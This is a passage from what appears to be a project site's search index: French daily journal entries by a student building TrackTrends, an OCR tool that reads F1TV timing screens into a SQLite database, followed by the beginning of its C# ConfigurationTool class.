\u00e0 des parents voire futurs experts. Les d\u00e9mos ont plut\u00f4t bien fonctionn\u00e9es j'en suis assez content. Mais ca veut dire que la partie doc a pas forc\u00e9ment pu \u00eatre totalement compl\u00eat\u00e9e mais demain il va falloir que je m'occupe de la suite du projet.","title":"Lundi 15 Mai 2023"},{"location":"jdb.html#mardi-16-mai-2023","text":"Bon aujourd'hui c'est la partie stockage qui doit \u00eatre faite. Il y a plusieurs solutions possibles \u00e0 ce probl\u00e8me. Mais comme je n'ai besoin que d'une base de donn\u00e9e locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de donn\u00e9es SQLITE. Il y a eu une petit intervention de mr Bonvin qui est venu me donner une id\u00e9e pour la partie OCR. En fait j'avais un soucis quand je voulais d\u00e9coder du texte de couleur. M\u00eame en appliquant un filtre de gris je n'arrivais pas \u00e0 faire reconnaitre les chiffres. Et il m'a dit que une bonne id\u00e9e cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer \u00e0 tous ce qui blanchit assez bien l'image. J'ai d\u00e9cid\u00e9 d'exag\u00e8rer le blanchiment et cela donne des r\u00e9sultats plut\u00f4t... int\u00e9ressants... \"Filtre vanish oxy action sur un secteur violet\" Le soucis c'est que le violet est une couleur quand m\u00eame assez sombre alors il va falloir que je fasse un syst\u00e8me de treshold un peu sp\u00e9cial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses. Une methode \u00e0 laquelle j'ai pens\u00e9 pour detecter dans quel tour chaque pilote est serait de garder en m\u00e9moire toutes les infos de chaques pilotes au fur et \u00e0 mesure, et d\u00e8s qu'on ne recoit plus d'infos des secteurs ou que le temps au tour a chang\u00e9 on peut savoir qu'il faut passer au tour suivant. Pour detecter les arr\u00eats aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detect\u00e9s sur le m\u00eame pneu Au d\u00e9part je me disais que je pourrais peut-\u00eatre faire une base de donn\u00e9e SQLITE locale qui puisse \u00eatre reprise d'un Grand Prix \u00e0 un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix \u00e9tait un peu en dehors du scope du projet. La base de donn\u00e9e sera donc cr\u00e9\u00e9e \u00e0 chaque d\u00e9marrage de l'app La mani\u00e8re dont je vois les choses en ce moment est qu'on aie deux sources de donn\u00e9es dans l'affichage final. On aurait une partie des infos qui seraient en direct depuis la detection : Les ecarts entre pilotes La position des pilotes Le dernier temps au tour Les derniers secteurs Les pneus Mais on aurait aussi des rubriques cr\u00e9\u00e9es de toutes pi\u00e8ces par des infos qui viennent de la BD Voici les rubriques qui pourraient \u00eatre int\u00e9ressantes \u00e0 voir dans l'interface finale : Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours Le pilote qui a le plus fait de d\u00e9passements Les batailles en cours Les 3 pilotes les plus lents Un classement pond\u00e9r\u00e9 avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arr\u00eat\u00e9s En gros l'id\u00e9e serait que on update une fois par tour et par pilote la base de donn\u00e9e avec des infos comme le temps au tour, le type de pneu etc... Voici les trois tables que je vais cr\u00e9er : Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL Ca n'est pas forc\u00e9ment d\u00e9finitif mais je pense que c'est d\u00e9ja un bon d\u00e9but pour faire des rubriques sympa. Je suis en train de tenter d'impl\u00e9menter le code pour permettre ensuite d'ajouter et retirer des choses facilement.","title":"Mardi 16 Mai 2023"},{"location":"jdb.html#mercredi-17-mai-2023","text":"Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive \u00e0 tout remplir alors ca devrait pas \u00eatre trop compliqu\u00e9 de venir faire des requ\u00e8tes qui donnent de bonnes infos. Mais la probl\u00e9matique principale va \u00eatre de d\u00e9cider QUAND ins\u00e8rer des choses dans la base de donn\u00e9e. Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et \u00e0 chaques fois que l'on veut ajouter \u00e0 cette liste on v\u00e9rifie si un tour a \u00e9t\u00e9 fait pour envoyer les data pr\u00e9c\u00e9dente et r\u00e9initialiser la liste. Il faut donc une liste de 20 listes de DriverData et une liste de int qui repr\u00e9senteront le num\u00e9ro du tour dans lequel chaque pilote se trouve. Pour detecter un arr\u00eat je pense que la meilleure mani\u00e8re est de regarder si le pilote a chang\u00e9 de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arr\u00eats pour ceux qui sont loins devant ou loins derri\u00e8re pourraient ne pas \u00eatre detect\u00e9s. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir \u00e9t\u00e9 chang\u00e9 pour un autre du m\u00eame type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliqu\u00e9es \u00e0 retrouver car tous les pneus ne sont pas neuf quand ils sont chauss\u00e9s. Je crois que la detection de tours et des arr\u00eats aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu oblig\u00e9 d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa. Je me rend compte que parfois j'obtiens des r\u00e9sultats un peu bizarres mais que c'est la f1TV qui les donne. Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derri\u00e8re lui en a 3 et que on est au tour 4. \"wtf...?\" Ah et aussi parfois quand les pilotes se d\u00e9passent on se retrouve dans des situations plut\u00f4t rigolotes : \"Wtf...??\" COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR. Le nombre de tours des pneus (Les num\u00e9ros sont vraiment mal detect\u00e9s et parfois m\u00eame la couleur est pas dingue) Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus) apr\u00e8s un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut \u00eatre fiable quand il veut.","title":"Mercredi 17 Mai 2023"},{"location":"jdb.html#jeudi-18-mai-2023","text":"Aujourd'hui c'est t\u00e9l\u00e9Travail forc\u00e9 et j'\u00e9tais scens\u00e9 aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la r\u00e9gion est clairement pas en \u00e9tat de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison. Le but du jour c'est d'avancer la doc et de tenter d'am\u00e9liorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale. Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les r\u00e9sultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detect\u00e9. Mais il semble que pour le reste du temps cela se passe plut\u00f4t bien. Ca vaut peut \u00eatre le coup de modifier la gestion des erreurs. \"Artefacts de detection de sobel\" En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detect\u00e9. Dans l'exemple ci dessus, la reconnaissance de caract\u00e8res ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis. Il semblerait que en appliquant un tresholding un peu plus s\u00e9v\u00e8re en amont on arrive \u00e0 r\u00e9duire les artefacts \"Artefacts all\u00e8g\u00e9s\" ; Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses.","title":"Jeudi 18 Mai 2023"},{"location":"jdb.html#lundi-22-mai-2023","text":"BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la derni\u00e8re semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une t\u00e2che \u00e0 vraiment faire (\u00e0 part les tests mais euuuu voila bon). J'essaie d'impl\u00e9menter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal. Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqu\u00e9 \u00e0 chaque fois. L'int\u00e9r\u00eat serait que des gens avec une moins bonne connexion pourraient quand m\u00eame profiter du programme sans qu'il crashe 300 fois. Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien \u00e0 cliquer sur le bon bouton mais m\u00eame comme ca ca ne veut pas. CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais d\u00e8s que l'image change PAF plus aucun temps n'est detect\u00e9. Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particuli\u00e8rement le projet marche si mal. Par ce que d\u00e8s que l'image revient \u00e0 une r\u00e9solution normale c'est bon. Un autre soucis que j'ai est que je n'arrive pas \u00e0 paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le probl\u00e8me avec ca c'est que la detection de tours et de pitstop est grandement impact\u00e9e si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais d\u00e8s que M.Bonvin apparait dans les parages je vais devoir l'alpaguer. J'ai ajout\u00e9 la possibilit\u00e9 d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plut\u00f4t que d'attendre dix secondes comme un con et esp\u00e8rer que ca fonctionne. Mais si apr\u00e8s 15 secondes d'essais il n'y arrive pas cela fait quand m\u00eame p\u00eater une erreur. Je pense que je vais m'occuper de la page de configuration maintenant. Voici \u00e0 quoi ressemblait la page de settings ce matin quand je suis arriv\u00e9. \"Ancienne page de settings\" Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beaut\u00e9 car apr\u00e8s je ne pense pas y retoucher. Pour ca j'ai plusieurs \u00e9tapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible. J'y pense, il fuadrait peut-\u00eatre que je me trouve un logo ca pourrait rendre bien. Voila alors j'ai chang\u00e9 un tout petit peu ce \u00e0 quoi ressemble la page de settings et j'ai ajout\u00e9 du responsive pour que le user puisse mettre l'application en plein \u00e9cran. \"Nouvelle page de configuration\" Mais il manque un peu de couleurs et de d\u00e9tails pour que cela rende vraiment bien. Et apr\u00e8s quelques tentatives on se retrouve avec une page plut\u00f4t sympa je trouve : \"Nouvelle page de config\" Et elle est responsive : \"Nouvelle page de config en plein \u00e9cran\" Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux. \"Nouvelle page de config en action\" Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps \u00e0 cr\u00e9er cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai pass\u00e9 ici n'est pas perdu car ensuite j'aurai simplement \u00e0 suivre les m\u00eames directives de style pour le reste de l'UI. Il faut aussi savoir que Windows Form n'est ps forc\u00e9ment le meilleur outil pour travailler avec le design. Truc tout b\u00eate par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets \"GroupBox\". Ce que j'ai donc du faire ca a \u00e9t\u00e9 de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand m\u00eame. C'est pleins de petites choses comme ca qui sont plut\u00f4t p\u00e9nibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder. Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de r\u00e9cup\u00e8ration demain. J'aimerais quand m\u00eame faire une interface sympa m\u00eame si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des donn\u00e9es un peu plus int\u00e8gres. Autre point \u00e0 noter, je me suis rendu compte que ca pourrait \u00eatre potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir \u00e0 passer par la page de configuration. Je me suis rendu compte que c'\u00e9tait super chiant de devoir \u00e0 chaque fois le faire (m\u00eame si je me rends compte que normalement un user ne devrait pas lancer l'app autant) Voila ue premi\u00e8re version de l'App avec tous les placeholders : \"Premi\u00e8re version de la page principale\" Et c'est tout pour aujourd'hui ! Ce fut une journ\u00e9e remplie.","title":"Lundi 22 Mai 2023"},{"location":"jdb.html#mardi-23-mai-2023","text":"Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer. Bon j'ai eu une discussion anim\u00e9e avec M.Bonvin et il semble que je sois oblig\u00e9 de refaire \u00e0 peu pr\u00e8s tout mon code pour le rendre ne serait-ce qu'un peu optimis\u00e9. Bon au final j'ai perdu 6H de travail \u00e0 tenter de convertir mon code dans une version un peu plus optimis\u00e9e... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore... C'est extr\u00eament frustrant mais bon... Pas le choix il semble. J'ai du \u00e9crire au moins 600 lignes de code et tout pars en fum\u00e9e. C'est une d\u00e9bauche d'\u00e9nergie absolument ph\u00e9nomenale. Apr\u00e8s ca valait le coup de tenter je pense. (J'ai envie de mourir) EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!! J'ai r\u00e9ussi \u00e0 paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial.","title":"Mardi 23 Mai 2023"},{"location":"jdb.html#mercredi-24-mai-2023","text":"Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un d\u00e9coupage qui peut par\u00e2itre complexe. Et de par sa nature, il pensait qu'il \u00e9tait simplement impossible de paralelliser le traitement car trop complexe et trop couteux. Il voulait donc que je passe sur un traitement plus simple. L'id\u00e9e \u00e9tait que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes \u00e0 la fois pour \u00e9viter que les boucles soient trop complexes. Sauf que pour impl\u00e9menter un truc pareil c'est \u00e9norm\u00e9ment de code car cela va \u00e0 l'encontre totale de la facon dont mon projet fonctionne actuellement. Mais comme j'\u00e9tais ouvert \u00e0 d'autres solutions. J'ai pass\u00e9 six heures \u00e0 tenter de l'impl\u00e9menter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouv\u00e9s devant pleins de probl\u00e8mes qui ne se posent pas dans mon architecture originale. Par exemple. On a pas trouv\u00e9 de methode simple pour d\u00e9couper les images des fen\u00eatres de mani\u00e8re thread safe. Il aurait donc fallu ajouter des boucles en pr\u00e9alable pour tout d\u00e9couper et le faire de mani\u00e8re s\u00e9quencielle. Ensuite vient le probl\u00e8me que si on traite toutes les donn\u00e9es dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les r\u00e9sultats temporaires. Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et \u00e0 l'image parente. Donc il faudra faire un syst\u00e8me qui convertis les windows en position absolue sur l'image. Ca peut para\u00eetre \u00eatre de simples changements mais deja il y en a pas mal d'autres et franchement m\u00eame si l'id\u00e9e originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et \u00e0 mon avis ne sont pas du tout aussi logiques que mon d\u00e9coupage original. Cette exp\u00e9rience m'a quand m\u00eame permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile \u00e0 maintenir et cela m'a fait me rendre compte que ma solution n'\u00e9tait pas forc\u00e9ment la plus simple pour tout le monde mais que mine de rien elle peut \u00eatre efficace. La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne id\u00e9e de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fen\u00eatre s'ouvre pour indiquer les temps par secteurs. Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detect\u00e9. Mais ce qui est dr\u00f4le c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien. Il faut que je travaille un peu plus sur le filtrage de ces donn\u00e9es limites et peut-\u00eatre de voir si la reconnaissance de la position pourrait \u00eatre un peu v\u00e9rifi\u00e9e. Bon pour \u00eatre honn\u00eate je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de d\u00e9veloppeur mais en m\u00eame temps je n'ai pas forc\u00e9ment le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la m\u00eame phylosophie dans tout le reste du projet lol) Demain il me reste pas mal de choses \u00e0 faire et c'est la derni\u00e8re journ\u00e9e ou je peux les faire. Rendre la form plus jolie et changer les couleurs Rendre la form Responsive Ajouter les bons messages d'erreur qui vont bien Modifier les messageBox d'erreur pour qu'elles soient plus agr\u00e9ables \u00e0 utiliser Clean un peu le code mod\u00e8le vue controller Si j'ai le temps ajouter les bons commentaires les bonnes ent\u00eates partout","title":"Mercredi 24 Mai 2023"},{"location":"jdb.html#jeudi-25-mai-2023","text":"Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc. Pas grand chose \u00e0 dire. J'ai pass\u00e9 la journ\u00e9e \u00e0 fix des petits bugs par ci par la. Voici des exemples de ce \u00e0 quoi ressemble l'app \u00e0 la fin de la journ\u00e9e : \"Screenshot de la page principale\" \"Screenshot de la page principale\" On se rend jamais compte mais c'est tellement long de r\u00e8gler chaque petit soucis un par un. Il y a tellement de possibilit\u00e9s de choses qui peuvent mal tourner ou qui ont un comportement diff\u00e9rent selon l'ordre dans lequel on fait les choses. Mais dans l'ensemble, m\u00eame si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand m\u00eame le taff.","title":"Jeudi 25 Mai 2023"},{"location":"jdb.html#vendredi-26-mai-2023","text":"Aujourd'hui c'est d\u00e9part pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code.","title":"Vendredi 26 Mai 2023"},{"location":"jdb.html#grand-prix-de-monaco","text":"[Insert photos]","title":"Grand Prix de Monaco"},{"location":"jdb.html#lundi-29-mai-2023","text":"Mon vol pour Geneve hier soit a \u00e9t\u00e9 annul\u00e9 et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion \u00e0 17h pour arriver \u00e0 18h30 \u00e0 l'a\u00e9roport de Geneve. C'est pas pratique car j'avais pr\u00e9vu d'avancer aujourd'hui et je suis oblig\u00e9 d'avancer comme je peux dans l'a\u00e9roport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la premi\u00e8re release en Beta et que je mette vraiment serieusement \u00e0 la Documentation. M.Jayr m'a \u00e9galement demand\u00e9 de lui donner le document d'\u00e9valuation interm\u00e9diaire. Il ne faut pas que j'oublie demain. J'ai mis des notes sur mon code au cas ou des gens viennent \u00e0 le lire. J'y d\u00e9cris les choses que j'aurais fait diff\u00e9remment ou qui pourraient para\u00eetre bizarre au tout venant.","title":"Lundi 29 Mai 2023"},{"location":"jdb.html#mardi-30-mai-2023","text":"Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la premi\u00e8re release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionn\u00e9 dans mon ReadMe. Bon j'ai pu rendre \u00e0 M.Jayr mon evaluation interm\u00e9diaire et j'ai fait les derni\u00e8res modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre \u00e0 la documentation. Il va falloir que je revoie ce que j'ai d\u00e9ja \u00e9crit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajout\u00e9 la methode de SOBEL. Il faut peut-\u00eatre aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le syst\u00e8me en 4K.","title":"Mardi 30 Mai 2023"},{"location":"jdb.html#mercredi-31-mai-2023","text":"Doc","title":"Mercredi 31 Mai 2023"},{"location":"jdb.html#jeudi-1-juin-2023","text":"Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le r\u00e9sultat que j'attends et je regarde si ca me retourne la bonne valeur. Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait s\u00fbrement fait gagner beaucoup de temps si je l'avais fait d\u00e8s le d\u00e9but... Je pense que une bonne id\u00e9e serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au d\u00e9but et \u00e0 la fin. Plus je regarde plus je me rend compte que ce pojet aurait carr\u00e9ment du \u00eatre en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU. OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS T\u00d4T ??? En fait ce que j'aurais du faire c'est prendre de gros \u00e9chantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai am\u00e9lior\u00e9 mon OCR ou non. Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR : \"Dataset Ecarts\" ; \"Dataset Tours\" ; \"Dataset Noms\" ; \"Dataset Positions\" ; \"Dataset Sectors\" ; \"Dataset Tyres\" ; Je pense que c'est un set assez correct car j'ai essay\u00e9 de prendre un peu tous les cas possibles. Le seul qui m'inqui\u00e8te un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inqui\u00e8te le plus en temps normal. Non mais c'est juste g\u00e9nial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le \"+1:34.567\" en \"61:34.567\" car le '+' \u00e9tait interpr\u00eat\u00e9 comme un 6. Sans les tests je ne m'en serais pas rendu compte. Ce qui est g\u00e9nial c'est que ca veut dire que si je veux am\u00e9liorer mon OCR j'ai juste \u00e0 mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule.","title":"Jeudi 1 Juin 2023"},{"location":"jdb.html#vendredi-2-juin-2023","text":"Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique \"Fonctionnement g\u00e9n\u00e9ral\" qui r\u00e9sume tr\u00e8s simplement toutes les \u00e9tapes du projet avec un bon diagramme. En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans \u00eatre illisible. J'ai mis une heure trente \u00e0 faire celui la : \"Diagramme fonctionnement g\u00e9n\u00e9ral\" J'ai pris pas mal de temps aussi \u00e0 faire ces trois autre diagrammes un peu plus graphiques qui montrent de mani\u00e8re un poil plus abstraite le fonctionnement des trois grosses parties du projet. \"Diagramme recup\u00e9ration d'images\" \"Diagramme OCR\" \"Diagramme Traitement\" Je pense qu'ils sont un peu plus faciles \u00e0 comprendre que le gros diagramme g\u00e9n\u00e9ral. Ce que je me dis c'est que je vais faire une section fonctionnement g\u00e9n\u00e9ral ou je vais expliquer les trois parties avec les petits diagramme et r\u00e9sumer avec le grand diagramme.","title":"Vendredi 2 Juin 2023"},{"location":"Code/ConfigurationTool.html","text":"ConfigurationTool.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods used to create config files for the main programm /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; using System.IO ; using System.Text.Json ; using System.Text.Json.Nodes ; namespace TrackTrends { public class ConfigurationTool { public Zone MainZone ; public const int NUMBER_OF_DRIVERS = 20 ; public const int NUMBER_OF_ZONES = 9 ; public const string CONFIGS_FOLDER_NAME = \"./Presets/\" ; /// /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone /// /// The full image coming from the F1TV Data Channel /// The dimensions of the zone where all the drivers data are situated public ConfigurationTool ( Bitmap fullImage , Rectangle mainZoneDimensions ) { MainZone = new Zone ( fullImage , mainZoneDimensions , \"Main\" ); AutoCalibrate (); } /// /// Resets the main zone /// public void ResetMainZone () { MainZone . ResetZones (); } /// /// Reset the windows /// public void ResetWindows () { MainZone . ResetWindows (); } /// /// Save the current config in a JSON file stored in /Presets/ /// /// A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything /// The name the config should have public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creates the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); //Creates all the subzones that contain driver infos int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); //Creates all the windows of the current driver zone //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } /// /// Adds a window in the windows list /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc... /// /// The bounds of the window public void AddWindows ( List < Rectangle > rectangles ) { foreach ( Zone driverZone in MainZone . Zones ) { Bitmap zoneImage = driverZone . ZoneImage ; for ( int i = 1 ; i <= rectangles . Count ; i ++) { switch ( i ) { case 1 : //First zone should be the driver's Position driverZone . AddWindow ( new DriverPositionWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 2 : //Second zone should be the Gap to leader driverZone . AddWindow ( new DriverGapToLeaderWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 3 : //Third zone should be the driver's Lap Time driverZone . AddWindow ( new DriverLapTimeWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 4 : //Fourth zone should be the driver's DRS status driverZone . AddWindow ( new DriverDrsWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 5 : //Fifth zone should be the driver's Tyre's informations driverZone . AddWindow ( new DriverTyresWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 6 : //Sixth zone should be the driver's Name driverZone . AddWindow ( new DriverNameWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 7 : //Seventh zone should be the driver's First Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 1 , false )); break ; case 8 : //Zone number eight should be the driver's Second Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 2 , false )); break ; case 9 : //Zone number nine should be the driver's Position Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 3 , false )); break ; } } } } /// /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out) /// public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); 